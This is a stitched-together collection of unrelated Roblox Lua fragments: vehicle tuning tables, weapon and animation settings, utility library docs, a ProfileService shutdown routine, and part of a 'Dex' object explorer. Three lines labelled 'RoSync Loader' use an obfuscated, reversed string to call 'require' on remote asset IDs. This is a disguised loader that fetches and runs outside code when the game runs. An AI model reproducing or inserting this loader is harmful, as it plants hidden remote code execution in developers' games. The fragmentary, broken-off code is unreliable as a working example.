function CreateNewSound(name, id, looped, pitch) local sound = Instance.new("Sound") sound.SoundId = id sound.Name = name sound.archivable = false sound.Parent = script.Parent.Head sound.Pitch = pitch sound.Looped = looped return sound end CreateNewSound("GettingUp", "rbxasset://sounds/action_get_up.mp3", false, 1) CreateNewSound("Died", "rbxasset://sounds/uuhhh.mp3", false, 1) CreateNewSound("FreeFalling", "rbxasset://sounds/action_falling.mp3", true, 1) CreateNewSound("Jumping", "rbxasset://sounds/action_jump.mp3", false, 1) CreateNewSound("Landing", "rbxasset://sounds/action_jump_land.mp3", false, 1) CreateNewSound("Splash", "rbxasset://sounds/impact_water.mp3", false, 1) CreateNewSound("Running", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1.85) CreateNewSound("Swimming", "rbxasset://sounds/action_swim.mp3", true, 1.6) CreateNewSound("Climbing", "rbxasset://sounds/action_footsteps_plastic.mp3", true, 1)
-- Function
botao.ProximityPrompt.Triggered:Connect(function(plr) -- if plr.PlayerInfo.Patente.Value >= 3 then -- if aberto == false then create1:Play() som:Play() tela.BrickColor = BrickColor.new("Lime green") script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Lime green") wait(3) aberto = true else create2:Play() som:Play() tela.BrickColor = BrickColor.new("Really red") script.Parent.Parent.Body.Tela2.BrickColor = BrickColor.new("Really red") wait(3) aberto = false end -- else local Clone = script.NotificationScript:Clone() Clone.Disabled = false Clone.Parent = plr.PlayerGui end end)
--Please don't delete any of the coding unless you going to adjust some --things and if also you have some knowledge in Lua scripting.
if script.Disabled == false then on.Transparency = 0.10 wait(0.05) on.Transparency = 0.15 wait(0.05) on.Transparency = 0.20 wait(0.05) on.Transparency = 0.25 wait(0.05) on.Transparency = 0.30 wait(0.05) on.Transparency = 0.35 wait(0.05) on.Transparency = 0.40 wait(0.05) on.Transparency = 0.45 wait(0.05) on.Transparency = 0.50 wait(0.05) on.Transparency = 0.55 wait(0.05) on.Transparency = 0.60 wait(0.05) on.Transparency = 0.65 wait(0.05) on.Transparency = 0.70 wait(0.05) on.Transparency = 0.75 wait(0.05) on.Transparency = 0.80 wait(0.05) on.Transparency = 0.85 wait(0.05) on.Transparency = 0.90 wait(0.05) on.Transparency = 0.95 wait(0.05) on.Transparency = 1 end
--black 3
if k == "x" and ibo.Value==true then bin.Blade.BrickColor = BrickColor.new("Really black") bin.Blade2.BrickColor = BrickColor.new("Institutional white") bin.Blade.White.Enabled=false colorbin.white.Value = false bin.Blade.Blue.Enabled=false colorbin.blue.Value = false bin.Blade.Green.Enabled=false colorbin.green.Value = false bin.Blade.Magenta.Enabled=false colorbin.magenta.Value = false bin.Blade.Orange.Enabled=false colorbin.orange.Value = false bin.Blade.Viridian.Enabled=false colorbin.viridian.Value = false bin.Blade.Violet.Enabled=false colorbin.violet.Value = false bin.Blade.Red.Enabled=false colorbin.red.Value = false bin.Blade.Silver.Enabled=false colorbin.silver.Value = false bin.Blade.Black.Enabled=true colorbin.black.Value = true bin.Blade.NavyBlue.Enabled=false colorbin.navyblue.Value = false bin.Blade.Yellow.Enabled=false colorbin.yellow.Value = false bin.Blade.Cyan.Enabled=false colorbin.cyan.Value = false end
-----------------------------------------
while true do --Makes a loop wait(3) --The ammount of time before the bone zone goes up again! brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame + Vector3.new (moveX, moveY, moveZ) -- Up we go! :D wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) brick.CFrame = brick.CFrame - Vector3.new (moveX, moveY, moveZ) -- Downzy Wonzy wait (time) end -- Ends loop
----- EXAMPLE CODE -----
local weldList1 = WeldAllToPart(P, P.Part) -- Weld a model, returns a list of welds. UnanchorWeldList(weldList1) -- Unanchores the list of welds given. script:Destroy() -- Clean up this script.
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.T , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.K , --Primary Controls Throttle = Enum.KeyCode.Up , Brake = Enum.KeyCode.Down , SteerLeft = Enum.KeyCode.Left , SteerRight = Enum.KeyCode.Right , --Secondary Controls Throttle2 = Enum.KeyCode.W , Brake2 = Enum.KeyCode.S , SteerLeft2 = Enum.KeyCode.A , SteerRight2 = Enum.KeyCode.D , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.P , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
-- Creates a new tree node from an object. Called when an object starts -- existing in the game tree.
addObject = function(object,noupdate,parent) if script then -- protect against naughty RobloxLocked objects local s = pcall(check,object) if not s then return end end local parentNode if parent then parentNode = NodeLookup[parent] else parentNode = NodeLookup[object.Parent] end if not parentNode then return end local objectNode = { Object = object; Parent = parentNode; Index = 0; Expanded = false; Selected = false; Depth = depth(object); } connLookup[object] = Connect(object.AncestryChanged,function(c,p) if c == object then if p == nil then removeObject(c) else moveObject(c,p) end end end) NodeLookup[object] = objectNode insert(parentNode,#parentNode+1,objectNode) if not noupdate then if nodeIsVisible(objectNode) then updateList() elseif nodeIsVisible(objectNode.Parent) then updateScroll() end end end local function makeObject(obj, par) --[[local newObject = Instance_new(obj.ClassName) for i,v in pairs(obj.Properties) do ypcall(function() local newProp newProp = ToPropValue(v.Value,v.Type) newObject[v.Name] = newProp end) end newObject.Parent = par obj.Properties.Parent = par--]] RemoteEvent:InvokeServer("InstanceNew", obj.ClassName, obj.Properties) end local function writeObject(obj) local newObject = {ClassName = obj.ClassName, Properties = {}} for i,v in pairs(RbxApi.GetProperties(obj.className)) do if v["Name"] ~= "Parent" then print("thispassed") table.insert(newObject.Properties,{Name = v["Name"], Type = v["ValueType"], Value = tostring(obj[v["Name"]])}) end end return newObject end do local function registerNodeLookup4(o) NodeLookup[o] = { Object = o; Parent = nil; Index = 0; Expanded = true; } end registerNodeLookup4(game) NodeLookup[DexOutput] = { Object = DexOutput; Parent = nil; Index = 0; Expanded = true; } registerNodeLookup4(HiddenEntries) registerNodeLookup4(HiddenGame) Connect(game.DescendantAdded,addObject) Connect(game.DescendantRemoving,removeObject) Connect(DexOutput.DescendantAdded,addObject) Connect(DexOutput.DescendantRemoving,removeObject) local function get(o) return o:GetChildren() end local function r(o) if o == game and MuteHiddenItems then for i, v in pairs(gameChildren) do addObject(v,true) r(v) end return end local s,children = pcall(get,o) if s then for i = 1,#children do addObject(children[i],true) r(children[i]) end end end r(game) r(DexOutput) r(HiddenEntries) scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND) updateList() end
--[[ Last synced 10/19/2020 07:15 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- you can mess with these settings
CanToggleMouse = {allowed = true; activationkey = Enum.KeyCode.Q;} -- lets you move your mouse around in firstperson CanViewBody = true -- whether you see your body Sensitivity = 0.6 -- anything higher would make looking up and down harder; recommend anything between 0~1 Smoothness = 0.05 -- recommend anything between 0~1 FieldOfView = 80 -- fov HeadOffset = CFrame.new(0, 1.3 ,0) -- how far your camera is from your head local cam = game.Workspace.CurrentCamera local player = players.LocalPlayer local m = player:GetMouse() m.Icon = "http://www.roblox.com/asset/?id=569021388" -- replaces mouse icon local character = player.Character or player.CharacterAdded:wait() local human = character.Humanoid local humanoidpart = character.HumanoidRootPart local head = character:WaitForChild("Head") local CamPos,TargetCamPos = cam.CoordinateFrame.p,cam.CoordinateFrame.p local AngleX,TargetAngleX = 0,0 local AngleY,TargetAngleY = 0,0 local running = true local freemouse = false local defFOV = FieldOfView local w, a, s, d, lshift = false, false, false, false, false
--[=[ "Links" this Janitor to an Instance, such that the Janitor will `Cleanup` when the Instance is `Destroyed()` and garbage collected. A Janitor may only be linked to one instance at a time, unless `AllowMultiple` is true. When called with a truthy `AllowMultiple` parameter, the Janitor will "link" the Instance without overwriting any previous links, and will also not be overwritable. When called with a falsy `AllowMultiple` parameter, the Janitor will overwrite the previous link which was also called with a falsy `AllowMultiple` parameter, if applicable. ```lua local Obliterator = Janitor.new() Obliterator:Add(function() print("Cleaning up!") end, true) do local Folder = Instance.new("Folder") Obliterator:LinkToInstance(Folder) Folder:Destroy() end ``` ```ts import { Janitor } from "@rbxts/janitor"; const Obliterator = new Janitor(); Obliterator.Add(() => print("Cleaning up!"), true); { const Folder = new Instance("Folder"); Obliterator.LinkToInstance(Folder, false); Folder.Destroy(); } ``` This returns a mock `RBXScriptConnection` (see: [RbxScriptConnection](#RbxScriptConnection)). @param Object Instance -- The instance you want to link the Janitor to. @param AllowMultiple? boolean -- Whether or not to allow multiple links on the same Janitor. @return RbxScriptConnection -- A pseudo RBXScriptConnection that can be disconnected to prevent the cleanup of LinkToInstance. ]=]
function Janitor:LinkToInstance(Object: Instance, AllowMultiple: boolean?): RbxScriptConnection local Connection local IndexToUse = AllowMultiple and newproxy(false) or LinkToInstanceIndex local IsNilParented = Object.Parent == nil local ManualDisconnect = setmetatable({}, RbxScriptConnection) local function ChangedFunction(_DoNotUse, NewParent) if ManualDisconnect.Connected then _DoNotUse = nil IsNilParented = NewParent == nil if IsNilParented then task.defer(function() if not ManualDisconnect.Connected then return elseif not Connection.Connected then self:Cleanup() else while IsNilParented and Connection.Connected and ManualDisconnect.Connected do task.wait() end if ManualDisconnect.Connected and IsNilParented then self:Cleanup() end end end) end end end Connection = Object.AncestryChanged:Connect(ChangedFunction) ManualDisconnect.Connection = Connection if IsNilParented then ChangedFunction(nil, Object.Parent) end Object = nil :: any return self:Add(ManualDisconnect, "Disconnect", IndexToUse) end
--create tables:
for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "a" then table.insert(a, 1, part) end end for i,part in pairs(model:GetChildren()) do if string.sub(part.Name, 1,1) == "b" then table.insert(b, 1, part) end end function lightOn(T) for i, part in pairs (T) do if part:FindFirstChild("SurfaceLight") then part.SurfaceLight.Enabled = true end if part:FindFirstChild("SpotLight") then part.SpotLight.Enabled = true end end end function lightOff(T) for i, part in pairs (T) do if part:FindFirstChild("SurfaceLight") then part.SurfaceLight.Enabled = false end if part:FindFirstChild("SpotLight") then part.SpotLight.Enabled = false end end end while true do lightOn(a) wait(0.2) lightOff(a) wait(0.2)
--// Damage Settings
BaseDamage = 51; -- Torso Damage LimbDamage = 43; -- Arms and Legs ArmorDamage = 43; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 79; -- If you set this to 100, there's a chance the player won't die because of the heal script
----------------------------------------------------------------------------------
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
--[[ --------------------------------- --------[ INSTRUCTIONS: ]-------- --------------------------------- Step 1: Make a developer product. If you dont know how, open the script called DeveloperProductsHelp and read it. Step 2: Get the ID of the first product and place it down below. Step 3: Where it says product price, change that to the amount of robux your developer product costs. Step 4: If you have more devloper products, put the below in the next slot, and add their price in too. Step 5: If there is a slot that is empty, make sure to delete it. --------------------------------- -----[ END OF INSTRUCTIONS ]----- --------------------------------- --]]
local module = {} module.Products = { { ProductPrice = 5, -- Put the PRICE of the Developer Product here. ProductId = 1297148371 -- Put the ID of the Developer Product here. }, { ProductPrice = 10, -- Put the PRICE of the Developer Product here. ProductId = 1297149509 -- Put the ID of the Developer Product here. }, { ProductPrice = 15, -- Put the PRICE of the Developer Product here. ProductId = 1297149793 -- Put the ID of the Developer Product here. }, { ProductPrice = 20, -- Put the PRICE of the Developer Product here. ProductId = 1297150000 -- Put the ID of the Developer Product here. }, { ProductPrice = 25, -- Put the PRICE of the Developer Product here. ProductId = 1297150135 -- Put the ID of the Developer Product here. }, { ProductPrice = 50, -- Put the PRICE of the Developer Product here. ProductId = 1297150301 -- Put the ID of the Developer Product here. }, { ProductPrice = 75, -- Put the PRICE of the Developer Product here. ProductId = 1297150525 -- Put the ID of the Developer Product here. }, { ProductPrice = 100, -- Put the PRICE of the Developer Product here. ProductId = 1297150657 -- Put the ID of the Developer Product here. }, { ProductPrice = 150, -- Put the PRICE of the Developer Product here. ProductId = 1297150806 -- Put the ID of the Developer Product here. }, } return module
--[[ The Module ]]
-- local TransparencyController = {} TransparencyController.__index = TransparencyController function TransparencyController.new() local self = setmetatable({}, TransparencyController) self.transparencyDirty = false self.enabled = false self.lastTransparency = nil self.descendantAddedConn, self.descendantRemovingConn = nil, nil self.toolDescendantAddedConns = {} self.toolDescendantRemovingConns = {} self.cachedParts = {} return self end function TransparencyController:HasToolAncestor(object: Instance) if object.Parent == nil then return false end assert(object.Parent, "") return object.Parent:IsA('Tool') or self:HasToolAncestor(object.Parent) end function TransparencyController:IsValidPartToModify(part: BasePart) if part:IsA('BasePart') or part:IsA('Decal') then return not self:HasToolAncestor(part) end return false end function TransparencyController:CachePartsRecursive(object) if object then if self:IsValidPartToModify(object) then self.cachedParts[object] = true self.transparencyDirty = true end for _, child in pairs(object:GetChildren()) do self:CachePartsRecursive(child) end end end function TransparencyController:TeardownTransparency() for child, _ in pairs(self.cachedParts) do child.LocalTransparencyModifier = 0 end self.cachedParts = {} self.transparencyDirty = true self.lastTransparency = nil if self.descendantAddedConn then self.descendantAddedConn:disconnect() self.descendantAddedConn = nil end if self.descendantRemovingConn then self.descendantRemovingConn:disconnect() self.descendantRemovingConn = nil end for object, conn in pairs(self.toolDescendantAddedConns) do conn:Disconnect() self.toolDescendantAddedConns[object] = nil end for object, conn in pairs(self.toolDescendantRemovingConns) do conn:Disconnect() self.toolDescendantRemovingConns[object] = nil end end function TransparencyController:SetupTransparency(character) self:TeardownTransparency() if self.descendantAddedConn then self.descendantAddedConn:disconnect() end self.descendantAddedConn = character.DescendantAdded:Connect(function(object) -- This is a part we want to invisify if self:IsValidPartToModify(object) then self.cachedParts[object] = true self.transparencyDirty = true -- There is now a tool under the character elseif object:IsA('Tool') then if self.toolDescendantAddedConns[object] then self.toolDescendantAddedConns[object]:Disconnect() end self.toolDescendantAddedConns[object] = object.DescendantAdded:Connect(function(toolChild) self.cachedParts[toolChild] = nil if toolChild:IsA('BasePart') or toolChild:IsA('Decal') then -- Reset the transparency toolChild.LocalTransparencyModifier = 0 end end) if self.toolDescendantRemovingConns[object] then self.toolDescendantRemovingConns[object]:disconnect() end self.toolDescendantRemovingConns[object] = object.DescendantRemoving:Connect(function(formerToolChild) wait() -- wait for new parent if character and formerToolChild and formerToolChild:IsDescendantOf(character) then if self:IsValidPartToModify(formerToolChild) then self.cachedParts[formerToolChild] = true self.transparencyDirty = true end end end) end end) if self.descendantRemovingConn then self.descendantRemovingConn:disconnect() end self.descendantRemovingConn = character.DescendantRemoving:connect(function(object) if self.cachedParts[object] then self.cachedParts[object] = nil -- Reset the transparency object.LocalTransparencyModifier = 0 end end) self:CachePartsRecursive(character) end function TransparencyController:Enable(enable: boolean) if self.enabled ~= enable then self.enabled = enable end end function TransparencyController:SetSubject(subject) local character = nil if subject and subject:IsA("Humanoid") then character = subject.Parent end if subject and subject:IsA("VehicleSeat") and subject.Occupant then character = subject.Occupant.Parent end if character then self:SetupTransparency(character) else self:TeardownTransparency() end end function TransparencyController:Update(dt) local currentCamera = workspace.CurrentCamera if currentCamera and self.enabled then -- calculate goal transparency based on distance local distance = (currentCamera.Focus.p - currentCamera.CoordinateFrame.p).magnitude local transparency = (distance<2) and (1.0-(distance-0.5)/1.5) or 0 -- (7 - distance) / 5 if transparency < 0.5 then -- too far, don't control transparency transparency = 0 end -- tween transparency if the goal is not fully transparent and the subject was not fully transparent last frame if self.lastTransparency and transparency < 1 and self.lastTransparency < 0.95 then local deltaTransparency = transparency - self.lastTransparency local maxDelta = MAX_TWEEN_RATE * dt deltaTransparency = math.clamp(deltaTransparency, -maxDelta, maxDelta) transparency = self.lastTransparency + deltaTransparency else self.transparencyDirty = true end transparency = math.clamp(Util.Round(transparency, 2), 0, 1) -- update transparencies if self.transparencyDirty or self.lastTransparency ~= transparency then for child, _ in pairs(self.cachedParts) do child.LocalTransparencyModifier = transparency end self.transparencyDirty = false self.lastTransparency = transparency end end end return TransparencyController
--[[** matches given tuple against tuple type definition @param ... The type definition for the tuples @returns A function that will return true iff the condition is passed **--]]
function t.tuple(...) local checks = {...} return function(...) local args = {...} for i, check in ipairs(checks) do local success, errMsg = check(args[i]) if success == false then return false, string.format("Bad tuple index #%s:\n\t%s", i, errMsg or "") end end return true end end
--/////////// CONFIGURATIONS \\\\\\\\\\\\\\\\\
local sensitivity = 1.5 -- how quick/snappy the sway movements are. Don't go above 2 local baseswaysize = 1 local swaysize = 1 -- how large/powerful the sway is. Don't go above 2 local includestrafe = false -- if true the fps arms will sway when the character is strafing local includewalksway = true -- if true, fps arms will sway when you are walking local includecamerasway = true -- if true, fps arms will sway when you move the camera local includejumpsway = true -- if true, jumping will have an effect on the viewmodel local headoffset = Vector3.new(0,0,0) -- the offset from the default camera position of the head. (0,1,0) will put the camera one stud above the head. local firstperson_arm_transparency = 0 -- the transparency of the arms in first person; set to 1 for invisible and set to 0 for fully visible. local firstperson_waist_movements_enabled = false -- if true, animations will affect the Uppertorso. If false, the uppertorso stays still while in first person (applies to R15 only)
------------------------------------------------------------------------ -- parse a local variable declaration statement -- * used in statements() ------------------------------------------------------------------------
function luaY:localstat(ls) -- stat -> LOCAL NAME {',' NAME} ['=' explist1] local nvars = 0 local nexps local e = {} -- expdesc repeat self:new_localvar(ls, self:str_checkname(ls), nvars) nvars = nvars + 1 until not self:testnext(ls, ",") if self:testnext(ls, "=") then nexps = self:explist1(ls, e) else e.k = "VVOID" nexps = 0 end self:adjust_assign(ls, nvars, nexps, e) self:adjustlocalvars(ls, nvars) end
--[[Leaning]]
-- Tune.LeanSpeed = .07 -- How quickly the the bike will lean, .01 being slow, 1 being almost instantly Tune.LeanProgressiveness = 30 -- How much steering is kept at higher speeds, a lower number is less steering, a higher number is more steering Tune.MaxLean = 58 -- Maximum lean angle in degrees Tune.LeanD = 90 -- Dampening of the lean Tune.LeanMaxTorque = 500 -- Force of the lean Tune.LeanP = 300 -- Aggressiveness of the lean
--[=[ @within TableUtil @function FlatMap @param tbl table @param predicate (key: any, value: any, tbl: table) -> newValue: any @return table Calls `TableUtil.Map` on the given table and predicate, and then calls `TableUtil.Flat` on the result from the map operation. ```lua local t = {10, 20, 30} local result = TableUtil.FlatMap(t, function(value) return {value, value * 2} end) print(result) --> {10, 20, 20, 40, 30, 60} ``` :::note Arrays only This function works on arrays, but not dictionaries. ]=]
local function FlatMap<T, M>(tbl: { T }, callback: (T, number, { T }) -> M): { M } return Flat(Map(tbl, callback)) end
-- DISGUSTING. NEVER DO THIS.
function nearPlayer() local p = game.Players:GetPlayers() for i=1,#p do if (p[i].Character) then local t = p[i].Character:FindFirstChild("Torso") if t then if (Board.Position - t.Position).magnitude < 20 then return true end end end end return false end function sepuku() if not nearPlayer() then Board:Remove() end end while true do wait(30) sepuku() end
--[[ Invokes `callback`, capturing all output that happens during its execution. Output will not go to stdout or stderr and will instead be put into a LogInfo object that is returned. If `callback` throws, the error will be bubbled up to the caller of `Logging.capture`. ]]
function Logging.capture(callback) local collector = createLogInfo() local wasOutputEnabled = outputEnabled outputEnabled = false collectors[collector] = true local success, result = pcall(callback) collectors[collector] = nil outputEnabled = wasOutputEnabled assert(success, result) return collector end
-- local SNAPSHOT_ARG = printSnapshot.SNAPSHOT_ARG
local bReceivedColor = printSnapshot.bReceivedColor local matcherHintFromConfig = printSnapshot.matcherHintFromConfig
--// Probabilities
JamChance = 0; -- This is percent scaled. For 100% Chance of jamming, put 100, for 0%, 0; and everything inbetween TracerChance = 70; -- This is the percen scaled. For 100% Chance of showing tracer, put 100, for 0%, 0; and everything inbetween
-- Release all loaded profiles when the server is shutting down:
task.spawn(function() WaitForLiveAccessCheck() Madwork.ConnectToOnClose( function() ProfileService.ServiceLocked = true -- 1) Release all active profiles: -- -- Clone AutoSaveList to a new table because AutoSaveList changes when profiles are released: local on_close_save_job_count = 0 local active_profiles = {} for index, profile in ipairs(AutoSaveList) do active_profiles[index] = profile end -- Release the profiles; Releasing profiles can trigger listeners that release other profiles, so check active state: for _, profile in ipairs(active_profiles) do if profile:IsActive() == true then on_close_save_job_count = on_close_save_job_count + 1 task.spawn(function() -- Save profile on new thread SaveProfileAsync(profile, true) on_close_save_job_count = on_close_save_job_count - 1 end) end end -- 2) Yield until all active profile jobs are finished: -- while on_close_save_job_count > 0 or ActiveProfileLoadJobs > 0 or ActiveProfileSaveJobs > 0 do task.wait() end return -- We're done! end, UseMockDataStore == false -- Always run this OnClose task if using Roblox API services ) end) return ProfileService
--[[ Last synced 4/18/2021 05:54 RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]-- --[[ Last synced 4/18/2021 05:55 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ Cache results of a function such that subsequent calls return the cached result rather than call the function again. By default, a cached result is stored for each separate combination of serialized input args. Optionally memoize takes a serializeArgs function which should return a key that the result should be cached with for a given call signature. Return nil to avoid caching the result. ]]
function FunctionUtils.memoize(fn, serializeArgs) assert(type(fn) == "function") serializeArgs = serializeArgs or FunctionUtils.defaultSerializeArgs assert(type(serializeArgs) == "function") local cache = {} local proxyFunction = function(...) local proxyArgs = {...} local cacheKey = serializeArgs(proxyArgs) if cacheKey == nil then return fn(...) else if cache[cacheKey] == nil then cache[cacheKey] = fn(...) end return cache[cacheKey] end end return proxyFunction end function FunctionUtils.setTimeout(fn, secondsDelay) local cleared = false local timeout delay( secondsDelay, function() if not cleared then fn(timeout) end end ) timeout = { clear = function() cleared = true end } return timeout end function FunctionUtils.setInterval(fn, secondsDelay) local timeout local callTimeout callTimeout = function() timeout = FunctionUtils.setTimeout( function() callTimeout() fn(timeout) end, secondsDelay ) end callTimeout() return { clear = function() timeout:clear() end } end
--//Client Animations
IdleAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() -- require(script).FakeRightPos (For fake arms) | require(script).RightArmPos (For real arms) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).LeftPos}):Play() -- require(script).FakeLeftPos (For fake arms) | require(script).LeftArmPos (For real arms) end; StanceDown = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; StanceUp = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -1.85, -1.25) * CFrame.Angles(math.rad(-160), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(.8,-0.6,-1.15) * CFrame.Angles(math.rad(-170),math.rad(60),math.rad(15))}):Play() wait(0.3) end; Patrol = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.75, -.9, -1.6) * CFrame.Angles(math.rad(-80), math.rad(-70), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(0.75,0.75,-1) * CFrame.Angles(math.rad(-90),math.rad(-45),math.rad(-25))}):Play() wait(0.3) end; SprintAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.3) end; EquipAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0),{C1 = CFrame.new(1.2,-0.05,-1.65) * CFrame.Angles(math.rad(-90),math.rad(35),math.rad(-25))}):Play() wait(0.1) objs[5].Handle:WaitForChild("AimUp"):Play() ts:Create(objs[2],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.5),{C1 = require(script.Parent.Settings).LeftPos}):Play() wait(0.5) end; ZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new(-0.2, 0.21, 0)*CFrame.Angles(0, 0, math.rad(90))*CFrame.new(0.225, -0.75, 0)}):Play() wait(0.3) end; UnZoomAnim = function(char, speed, objs) --ts:Create(objs[2],TweenInfo.new(0),{C1 = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0))}):Play() ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.25, -1.1, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(5))}):Play() wait(0.3) ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.65, -0.7, -1)*CFrame.Angles(math.rad(-180), 0, 0)*CFrame.Angles(0, 0, math.rad(30))}):Play() ts:Create(objs[5].g33:WaitForChild("g33"),TweenInfo.new(0.3),{C1 = CFrame.new()}):Play() wait(0.3) end; ChamberAnim = function(char, speed, objs) ts:Create(objs[2],TweenInfo.new(0.3),{C1 = require(script.Parent.Settings).RightPos}):Play() ts:Create(objs[3],TweenInfo.new(0.35),{C1 = CFrame.new(0.1,0.15,-1.4) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() wait(0.35) objs[5].Bolt:WaitForChild("SlidePull"):Play() ts:Create(objs[3],TweenInfo.new(0.25),{C1 = CFrame.new(0.05,-0.25,-1.15) * CFrame.Angles(math.rad(-120),math.rad(15),math.rad(15))}):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].BoltExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.25),{C0 = CFrame.new(objs[6].SlideExtend) * CFrame.Angles(0,math.rad(0),0)}):Play() wait(0.3) objs[5].Bolt:WaitForChild("SlideRelease"):Play() ts:Create(objs[5].Handle:WaitForChild("Bolt"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() ts:Create(objs[5].Handle:WaitForChild("Slide"),TweenInfo.new(0.1),{C0 = CFrame.new(0,0,0) * CFrame.Angles(0,math.rad(0),0)}):Play() end; ChamberBKAnim = function(char, speed, 